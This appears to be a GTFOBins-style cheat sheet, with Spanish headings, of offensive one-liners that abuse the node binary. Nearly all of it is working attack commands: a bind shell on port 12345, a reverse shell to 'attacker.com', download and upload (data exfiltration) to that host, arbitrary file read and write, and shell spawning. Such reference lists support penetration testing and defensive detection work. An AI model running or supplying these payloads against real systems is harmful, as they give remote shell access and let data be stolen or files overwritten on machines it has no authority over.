./node --examples
Funciones y ejemplos de uso
bind-shell
node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").createServer(function (client) {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
}).listen(12345)'
download
node -e 'require("http").get("http://attacker.com/path/to/input-file", res => res.pipe(require("fs").createWriteStream("/path/to/output-file")))'
file-read
node -e 'process.stdout.write(require("fs").readFileSync("/path/to/input-file"))'
file-write
node -e 'require("fs").writeFileSync("/path/to/output-file", "DATA")'
reverse-shell
node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").connect(12345, "attacker.com", function () {
this.pipe(sh.stdin);
sh.stdout.pipe(this);
sh.stderr.pipe(this);
})'
shell
node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
upload
node -e 'require("fs").createReadStream("/path/to/input-file").pipe(require("http").request("http://attacker.com/path/to/output-file"))'
./related --binary=node
Binarios relacionados
Comparten al menos una función con node.